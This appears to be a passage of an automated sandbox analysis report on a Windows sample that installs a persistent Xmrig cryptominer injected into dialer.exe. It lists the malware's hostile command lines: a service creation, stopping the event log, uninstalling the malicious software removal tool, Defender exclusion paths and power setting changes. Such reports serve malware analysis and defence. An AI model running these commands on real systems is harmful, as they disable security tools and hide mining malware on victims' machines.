MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	17:09:13
Start date:	18/10/2024
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\dialer.exe
Imagebase:	0x7ff6480d0000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	17:09:13
Start date:	18/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	17:09:13
Start date:	18/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	17:09:13
Start date:	18/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	17:09:14
Start date:	18/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe delete "NUTGFFPE"
Imagebase:	0x7ff730450000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	17:09:14
Start date:	18/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	17:09:14
Start date:	18/10/2024
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff7494f0000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	17:09:14
Start date:	18/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe create "NUTGFFPE" binpath= "C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe" start= "auto"
Imagebase:	0x7ff730450000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	17:09:14
Start date:	18/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	17:09:14
Start date:	18/10/2024
Path:	C:\Windows\System32\winlogon.exe
Wow64 process (32bit):	false
Commandline:	winlogon.exe
Imagebase:	0x7ff7cd660000
File size:	906'240 bytes
MD5 hash:	F8B41A1B3E569E7E6F990567F21DCE97
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	17:09:14
Start date:	18/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop eventlog
Imagebase:	0x7ff730450000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	17:09:14
Start date:	18/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe start "NUTGFFPE"
Imagebase:	0x7ff730450000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	17:09:14
Start date:	18/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	17:09:14
Start date:	18/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	17:09:14
Start date:	18/10/2024
Path:	C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe
Imagebase:	0x7ff67ba50000
File size:	5'502'728 bytes
MD5 hash:	CDABDC02374167CCD4938E9FE8C31789
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 63%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	17:09:14
Start date:	18/10/2024
Path:	C:\Windows\System32\lsass.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\lsass.exe
Imagebase:	0x7ff7a2ae0000
File size:	59'456 bytes
MD5 hash:	A1CC00332BBF370654EE3DC8CDC8C95A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	17:09:14
Start date:	18/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7380, Parent PID: 7372

General

Target ID:	28
Start time:	17:09:14
Start date:	18/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	17:09:15
Start date:	18/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	17:09:15
Start date:	18/10/2024
Path:	C:\Windows\System32\dwm.exe
Wow64 process (32bit):	false
Commandline:	"dwm.exe"
Imagebase:	0x7ff74e710000
File size:	94'720 bytes
MD5 hash:	5C27608411832C5B39BA04E33D53536C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	17:09:17
Start date:	18/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff64d3d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powercfg.exePID: 7564, Parent PID: 7348

General

Target ID:	32
Start time:	17:09:17
Start date:	18/10/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff756950000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	17:09:17
Start date:	18/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	17:09:17
Start date:	18/10/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff756950000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	17:09:17
Start date:	18/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	17:09:17
Start date:	18/10/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff756950000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	17:09:17
Start date:	18/10/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff756950000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	17:09:17
Start date:	18/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	17:09:17
Start date:	18/10/2024
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\dialer.exe
Imagebase:	0x7ff6480d0000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	17:09:17
Start date:	18/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	17:09:17
Start date:	18/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	17:09:18
Start date:	18/10/2024
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\dialer.exe
Imagebase:	0x7ff6480d0000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	17:09:18
Start date:	18/10/2024
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	dialer.exe
Imagebase:	0x7ff6480d0000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000002B.00000002.3126900800.0000000140001000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 0000002B.00000002.3126900800.0000000140001000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	17:09:19
Start date:	18/10/2024
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff7494f0000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	17:09:19
Start date:	18/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	17:09:20
Start date:	18/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	17:09:20
Start date:	18/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	50
Start time:	17:09:20
Start date:	18/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	51
Start time:	17:09:20
Start date:	18/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	53
Start time:	17:09:23
Start date:	18/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	54
Start time:	17:09:23
Start date:	18/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	55
Start time:	17:09:25
Start date:	18/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	56
Start time:	17:09:26
Start date:	18/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	57
Start time:	17:09:27
Start date:	18/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	58
Start time:	17:09:27
Start date:	18/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	59
Start time:	17:09:28
Start date:	18/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	60
Start time:	17:09:28
Start date:	18/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 00007FF74AA01140 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1844125143.00007FF74AA01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF74AA00000, based on PE: true

Associated: 00000000.00000002.1844098310.00007FF74AA00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844145785.00007FF74AA0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844164705.00007FF74AA0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844274241.00007FF74AA10000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844901576.00007FF74AF08000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844935342.00007FF74AF40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844951110.00007FF74AF43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff74aa00000_loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09aa500106249f898c70f176d5dd8b6a7b84f69ff7d021052aa52de95c06f874
Instruction ID: 4609e0ee81e335ae8f7074166374ba9d92a36260f806cb431012c3ae77191462
Opcode Fuzzy Hash: 09aa500106249f898c70f176d5dd8b6a7b84f69ff7d021052aa52de95c06f874
Instruction Fuzzy Hash: 01B09220A0D209C4F2043F2198416A862606B28740FE04070D50C02352CA6D50464B30

Analysis Process: dialer.exePID: 6952, Parent PID: 3228COMMON

Execution Graph

Execution Coverage:	46.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	67%
Total number of Nodes:	227
Total number of Limit Nodes:	23

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 000000014000226C Relevance: 61.4, APIs: 27, Strings: 8, Instructions: 165
registrymemorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001F2C: StrCpyW.SHLWAPI ref: 0000000140001F5D
Part of subcall function 0000000140001F2C: StrCatW.SHLWAPI ref: 0000000140001F6B
Part of subcall function 0000000140001F2C: GetModuleHandleW.KERNEL32 ref: 0000000140001F74
Part of subcall function 0000000140001F2C: GetCurrentProcess.KERNEL32 ref: 0000000140001F94
Part of subcall function 0000000140001F2C: K32GetModuleInformation.KERNEL32 ref: 0000000140001FA8
Part of subcall function 0000000140001F2C: CreateFileW.KERNELBASE ref: 0000000140001FD8
Part of subcall function 0000000140001F2C: CreateFileMappingW.KERNELBASE ref: 0000000140002002
Part of subcall function 0000000140001F2C: MapViewOfFile.KERNELBASE ref: 0000000140002025
Part of subcall function 0000000140001F2C: lstrcmpiA.KERNEL32 ref: 000000014000207B
Part of subcall function 0000000140001F2C: CloseHandle.KERNELBASE ref: 00000001400020E7
Part of subcall function 0000000140001F2C: CloseHandle.KERNEL32 ref: 00000001400020F0
Part of subcall function 0000000140001F2C: FreeLibrary.KERNEL32 ref: 00000001400020F9

Part of subcall function 0000000140001F2C: VirtualProtect.KERNELBASE ref: 00000001400020AE
Part of subcall function 0000000140001F2C: VirtualProtect.KERNELBASE ref: 00000001400020DE

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000228F
OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000229F
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 00000001400022B9
LookupPrivilegeValueW.ADVAPI32 ref: 00000001400022D0
AdjustTokenPrivileges.KERNELBASE ref: 0000000140002308
GetLastError.KERNEL32 ref: 0000000140002312
CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000231B
FindResourceExA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000232F
SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002346
LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000235F
LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002371
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000237E
RegCreateKeyExW.KERNELBASE ref: 00000001400023BE
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00000001400023E5
RegSetKeySecurity.KERNELBASE ref: 00000001400023FE
LocalFree.KERNEL32 ref: 0000000140002408
RegCreateKeyExW.KERNELBASE ref: 000000014000243E
GetCurrentProcessId.KERNEL32 ref: 0000000140002448
RegSetValueExW.KERNELBASE ref: 000000014000246F
RegCloseKey.KERNELBASE ref: 0000000140002479
RegCloseKey.ADVAPI32 ref: 0000000140002483
CreateThread.KERNELBASE ref: 00000001400024A4
GetProcessHeap.KERNEL32 ref: 00000001400024AA
HeapAlloc.KERNEL32 ref: 00000001400024B9
CreateThread.KERNELBASE ref: 00000001400024E8
CreateThread.KERNELBASE ref: 0000000140002509
SleepEx.KERNELBASE ref: 0000000140002511

Strings

DLL, xrefs: 0000000140002321
pid, xrefs: 000000014000241B
kernel32.dll, xrefs: 0000000140002283
SeDebugPrivilege, xrefs: 00000001400022C9
SOFTWARE\dialerconfig, xrefs: 0000000140002399
svc64, xrefs: 0000000140002452
D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA), xrefs: 00000001400023DE
ntdll.dll, xrefs: 0000000140002277

Memory Dump Source

Source File: 0000000B.00000002.1911314276.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000B.00000002.1911255319.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.1911374527.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.1911435447.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_140000000_dialer.jbxd

Similarity

API ID: CreateProcess$Close$CurrentHandleResource$FileSecurityThread$DescriptorFreeHeapModuleOpenProtectTokenValueVirtual$AdjustAllocConvertErrorFindInformationLastLibraryLoadLocalLockLookupMappingPrivilegePrivilegesSizeofSleepStringViewlstrcmpi
String ID: D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)$DLL$SOFTWARE\dialerconfig$SeDebugPrivilege$kernel32.dll$ntdll.dll$pid$svc64
API String ID: 4177739653-1130149537
Opcode ID: d90b24f95a95c841a2e029a5b4d6274d008a65fb61feaf57b7d2a555975f1ca1
Instruction ID: c2e61514e361dd61edc66d1a85693de1d2c237bf329a5b31df93bef4cff25afe
Opcode Fuzzy Hash: d90b24f95a95c841a2e029a5b4d6274d008a65fb61feaf57b7d2a555975f1ca1
Instruction Fuzzy Hash: B781E4B6200B4196EB26CF62F8547D977A9F78CBD8F44512AEB4A43A78DF38C148C740

Function 00000001400010C0 Relevance: 51.0, APIs: 25, Strings: 4, Instructions: 257
memorystringnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001400018AC: OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
Part of subcall function 00000001400018AC: IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
Part of subcall function 00000001400018AC: CloseHandle.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

OpenProcess.KERNEL32 ref: 000000014000112C
OpenProcess.KERNEL32 ref: 000000014000114B
K32GetModuleFileNameExW.KERNEL32 ref: 0000000140001170
PathFindFileNameW.SHLWAPI ref: 000000014000117E
lstrlenW.KERNEL32 ref: 000000014000118A
StrCpyW.SHLWAPI ref: 00000001400011A1
CloseHandle.KERNELBASE ref: 00000001400011AD
StrCmpIW.SHLWAPI ref: 00000001400011E2
NtQueryInformationProcess.NTDLL ref: 0000000140001216
OpenProcessToken.ADVAPI32 ref: 0000000140001240
GetTokenInformation.KERNELBASE ref: 000000014000126C
GetLastError.KERNEL32 ref: 0000000140001276
LocalAlloc.KERNEL32 ref: 0000000140001289
